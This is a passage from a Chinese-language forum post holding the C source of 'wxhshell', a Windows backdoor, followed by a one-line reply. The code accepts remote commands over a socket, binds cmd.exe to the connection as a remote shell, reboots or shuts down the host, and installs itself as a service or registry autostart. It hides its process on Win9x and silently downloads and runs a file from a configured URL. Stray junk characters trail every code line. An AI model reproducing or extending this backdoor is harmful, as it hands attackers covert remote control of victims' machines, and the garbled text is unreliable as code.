  send(wsh,msg_ws_down,strlen(msg_ws_down),0); VWI|`O.w  
  if(DownloadFile(cmd,wsh)) zEl@jK,{$  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); W&A22jO.1  
  else P2_JS]>  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 7;dV]N  
  } $Dxz21|P7  
  else { +w?RW^:Q=  
NJ/6_e  
    switch(cmd[0]) { _SJ#k|vcq  
  exiCy 1[+  
  // 帮助 m;>HUTj  
  case '?': { pUZbZ U  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); 5)wz`OS  
    break; SaH0YxnY+  
  } (%rO'X  
  // 安装 'gxSHqeI2  
  case 'i': { WtN o@e'  
    if(Install()) .RxH-]xk  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); uCB7(<  
    else 9KN75<n  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); X2 c<.  
    break; ?\L@Pr|=Dr  
    } EJ`JN|,M  
  // 卸载 vrXUS9i.  
  case 'r': { y Rr,+>W  
    if(Uninstall()) c:.k2u  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); g)u ~GA*=  
    else X-|Lg.s  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); `f,SY  
    break; h|$.`$  
    } tY-{uHW&h  
  // 显示 wxhshell 所在路径 ?B.>VnYZ/a  
  case 'p': { (, Il>cR4  
    char svExeFile[MAX_PATH]; ma)Y@Uw M  
    strcpy(svExeFile,"\n\r"); Zg "g/I.+d  
      strcat(svExeFile,ExeFile); S c_#BD.  
        send(wsh,svExeFile,strlen(svExeFile),0); &x =}m  
    break; y, @I6  
    } BUqe~E|I  
  // 重启 "a %5on  
  case 'b': { bnt>j0E  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); vY&[=2=  
    if(Boot(REBOOT)) *~~ >?  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ~1jSz-s  
    else { H(GWC[tv  
    closesocket(wsh); _]E H~;  
    ExitThread(0); bq#*XCt#  
    } G9J+D?'hH  
    break; l ?RsXC  
    } 2{:bv~*I0F  
  // 关机 ~UA:_7#\M  
  case 'd': { ,) ^4H>~V  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); MwMv[];I  
    if(Boot(SHUTDOWN)) ejP273*ah  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); LxaR1E(Cc'  
    else { f mu `o-  
    closesocket(wsh); ^EY^.?Mg  
    ExitThread(0); <2@V$$Qg.~  
    } [9dW9[Z+!  
    break; 3m:[o`L  
    } r!A1Sfo4P  
  // 获取shell -8H0f- 1  
  case 's': { ?hu}wl)  
    CmdShell(wsh); ',`GdfAsH  
    closesocket(wsh); j_ i/h "  
    ExitThread(0); Gzy"$t  
    break; \1x<bx/1  
  } SKO*x^"eU  
  // 退出 J;"66ue(d  
  case 'x': { +72[*_ <  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); }Fy~DsQ  
    CloseIt(wsh); O%feBe  
    break; v53qpqc  
    } )1f8 H,q^  
  // 离开 /sHWJ?`&/,  
  case 'q': { gYb}<[O!  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); t*X k'(v  
    closesocket(wsh); Ps=OL\i  
    WSACleanup(); Reci:T(_  
    exit(1); &)Y26*(`  
    break; ^0" W/  
        } 8JYF0r7  
  } Wl!|+-  
  } }AdA? :7A  
x%<oeM3U  
  // 提示信息 Z :51Q  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); Ej |rf Y  
} lI#Ap2@  
  } gzdR|IBa  
zW[fHa$m  
  return; FwD"Pc2  
} rmVF88/;  
sJA` A  
// shell模块句柄 YXe L7W  
int CmdShell(SOCKET sock) ^eu={0k  
{ i n}N[  
STARTUPINFO si; aB@D-Y"HO  
ZeroMemory(&si,sizeof(si)); 9WE_9$<V  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; p%MH**A  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; A^\A^$|O6  
PROCESS_INFORMATION ProcessInfo; rK^Sn7U  
char cmdline[]="cmd"; |Dz$OZP  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); P[E:=p  
  return 0; WKjE^u  
} d"h*yH@  
w0`aW6t#  
// 自身启动模式 70sb{)  
int StartFromService(void) yWsJa)e3*@  
{ 1^F !X=  
typedef struct  ]I pLF#  
{ AHg:`Wjv-  
  DWORD ExitStatus; >b6!*Lrhs  
  DWORD PebBaseAddress; 2@&|/O6_\h  
  DWORD AffinityMask; Q7<_> )e^  
  DWORD BasePriority; ?\_\pa/+  
  ULONG UniqueProcessId; 4$HU=]b6Tf  
  ULONG InheritedFromUniqueProcessId; 8 K7.; t1  
}   PROCESS_BASIC_INFORMATION; /iz{NulOz*  
\U(;%V  
PROCNTQSIP NtQueryInformationProcess; >gQJ6q  
nu'r `  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; ar+ j`QIe  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; M|HW$8V3_2  
:K-05$K  
  HANDLE             hProcess; b#h}g>l  
  PROCESS_BASIC_INFORMATION pbi; dp&8:jy  
%Y0,ww2  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); pQ:7%+Om  
  if(NULL == hInst ) return 0; huPAWlxT  
olHT* mr  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); `a$c6^a  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); ]g/:lS4  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); :>y?B!=  
>M2~BDZ  
  if (!NtQueryInformationProcess) return 0; [:vH_(|  
:TPT]q d@  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); ]2Vu+AP  
  if(!hProcess) return 0; o#p{0y  
XBvJc'(s  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; Z}b25)  
O)2==_f\  
  CloseHandle(hProcess); 7? 1[sPM  
1" k_l.\,0  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); 5c 8tH=  
if(hProcess==NULL) return 0; }fS`jq;  
X-lB1uq^  
HMODULE hMod; jyLE  
char procName[255]; RWX?B  
unsigned long cbNeeded; PU& v{gn  
GBh$nVn$  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); %z9lCTmy  
5{PT  
  CloseHandle(hProcess); y TbOBl  
vzXfJP  
if(strstr(procName,"services")) return 1; // 以服务启动 k}0Y&cT!rU  
\ #yKCA';  
  return 0; // 注册表启动 x>ZnQ6x~m]  
} 2#i*'.  
y;GwMi $KI  
// 主模块 E"/r*C+T  
int StartWxhshell(LPSTR lpCmdLine) GR%h3HO2&  
{ N I*x):bx  
  SOCKET wsl; 7NFRCCXHQ  
BOOL val=TRUE; 1Zr J7a7=  
  int port=0; *XCgl*% *  
  struct sockaddr_in door; [& d"Z2gK  
q{c/TRp7  
  if(wscfg.ws_autoins) Install(); j%q,]HCANh  
crDm2oA~t  
port=atoi(lpCmdLine); c}-WK*v  
%v"qFYVX"  
if(port<=0) port=wscfg.ws_port; =O.%)|  
VoGyjGt&  
  WSADATA data; j,Vir"-)  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; =[ +)T[  
<@](uWu  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   OL2 b  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); yGs:3KI  
  door.sin_family = AF_INET; ~%D=\iE  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); o3ZqPk]al  
  door.sin_port = htons(port); aCZ7G % Y  
"J=A(w5   
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { !A|ayYBb\  
closesocket(wsl); .1q4Q\B<  
return 1; LP{@r ic  
} D|gI3i  
QqdVN3# 1z  
  if(listen(wsl,2) == INVALID_SOCKET) { T1_qAz+  
closesocket(wsl); a*N<gId  
return 1; FWb`F&  
} ?AlTQL~c  
  Wxhshell(wsl); $j"TPkW{M  
  WSACleanup(); = a54  
Mv1V Vk  
return 0; "b6ew2\  
9C"d7--  
} CY?19Ak-xd  
rv2 6vnJy"  
// 以NT服务方式启动 k0>]7t$L  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) VM"z6@  
{ ?,AWXiif  
DWORD   status = 0; |Ev V S  
  DWORD   specificError = 0xfffffff; E!6Nf[  
Y5XhV;16  
  serviceStatus.dwServiceType     = SERVICE_WIN32; %{j)w{ L J  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; vbMt}bM(GD  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; mcm8|@Y{  
  serviceStatus.dwWin32ExitCode     = 0; Rct=v DU  
  serviceStatus.dwServiceSpecificExitCode = 0; --'!5)U  
  serviceStatus.dwCheckPoint       = 0; .0ExHcr  
  serviceStatus.dwWaitHint       = 0; ;z3w#fNMv  
T0F!0O `  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); 9i`sSi8   
  if (hServiceStatusHandle==0) return; # ZcFxB6)  
7TaHE   
status = GetLastError(); i3usZ{_r  
  if (status!=NO_ERROR) ]fb3>HOTJ  
{ nLjc.Z\Bl  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; mvV5X al  
    serviceStatus.dwCheckPoint       = 0; !tckE\ h#N  
    serviceStatus.dwWaitHint       = 0; mq!_/3  
    serviceStatus.dwWin32ExitCode     = status; n+94./Mh  
    serviceStatus.dwServiceSpecificExitCode = specificError; YLAGTH0.]  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); |`c=`xK7'  
    return; $ri'tJ+  
  } ~L3]Wa.  
7O^'?L<C'  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; Q4!6|%n8v  
  serviceStatus.dwCheckPoint       = 0; Kulh:d:w  
  serviceStatus.dwWaitHint       = 0; J[7|Ul1 <  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); 9! 6\8  
} .V'=z|   
LI/;`Y=  
// 处理NT服务事件,比如:启动、停止 :f|X$> b  
VOID WINAPI NTServiceHandler(DWORD fdwControl) S-D=-{@  
{ HaiaDY)  
switch(fdwControl) Rd|xw%R\mb  
{ dX vp-oi  
case SERVICE_CONTROL_STOP: cJQ&#u  
  serviceStatus.dwWin32ExitCode = 0; @ApX43U(  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; D/7hVwMw:  
  serviceStatus.dwCheckPoint   = 0; o;\c$|TNU  
  serviceStatus.dwWaitHint     = 0; $Afw]F$  
  { Dw-i!dq  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); X1GpLy)p  
  } @*{sj`AS '  
  return; [WxRwE  
case SERVICE_CONTROL_PAUSE: 2B<0|EGtzw  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; <xpHlLc  
  break; JRT,%;*,  
case SERVICE_CONTROL_CONTINUE: Y\pRk6,  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; sKU?"|G81G  
  break; <>9zXbI  
case SERVICE_CONTROL_INTERROGATE: #{]Yw}m  
  break; e_{!8u.+  
}; j^&{5s  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 057$b!A-a  
} Q*h%'oc`  
qV`JZ\n  
// 标准应用程序主函数 }G50?"^u  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) -jJw wOm  
{ ^3:y<{J  
IC:wof "  
// 获取操作系统版本 _s> ZY0  
OsIsNt=GetOsVer(); _ o-lNt+  
GetModuleFileName(NULL,ExeFile,MAX_PATH); qp6*v&  
|>2IgTh1a  
  // 从命令行安装 ^& R H]q  
  if(strpbrk(lpCmdLine,"iI")) Install(); iH#b"h{w  
NX5A{  
  // 下载执行文件 5_}e?T&s  
if(wscfg.ws_downexe) { N1Pm4joH%  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) ,*w  
  WinExec(wscfg.ws_filenam,SW_HIDE); _P]!J~$5  
} w_sA8B  
p>c`GDU  
if(!OsIsNt) { xWa96U[  
// 如果时win9x,隐藏进程并且设置为注册表启动 *xl930y  
HideProc(); s?2DLXv}!  
StartWxhshell(lpCmdLine); 1p[Z`m*9  
} @/ m|T]'8  
else s, 8a1o  
  if(StartFromService()) yQXHEB  
  // 以服务方式启动 S _B $-H|  
  StartServiceCtrlDispatcher(DispatchTable); UOg4 E  
else =CE(M},d  
  // 普通方式启动 u?>]C6$  
  StartWxhshell(lpCmdLine); Q6|~ks+Y  
,z1fiq  
return 0; {D(_"  
}
评价一下你浏览此帖子的感受

精彩

感动

搞笑

开心

愤怒

无聊

灌水
级别: 大掌柜
发帖
7343
铜板
6618
人品值
1388
贡献值
28
交易币
100
好评度
7488
信誉值
10
金币
0
所在楼道
学一楼
只看该作者 1 发表于: 2006-10-10
学习一下 呵呵
描述
快速回复

您目前还是游客,请 登录 或 注册
欢迎提供真实交流,考虑发帖者的感受
认证码:
验证问题:
10+5=?,请输入中文答案:十五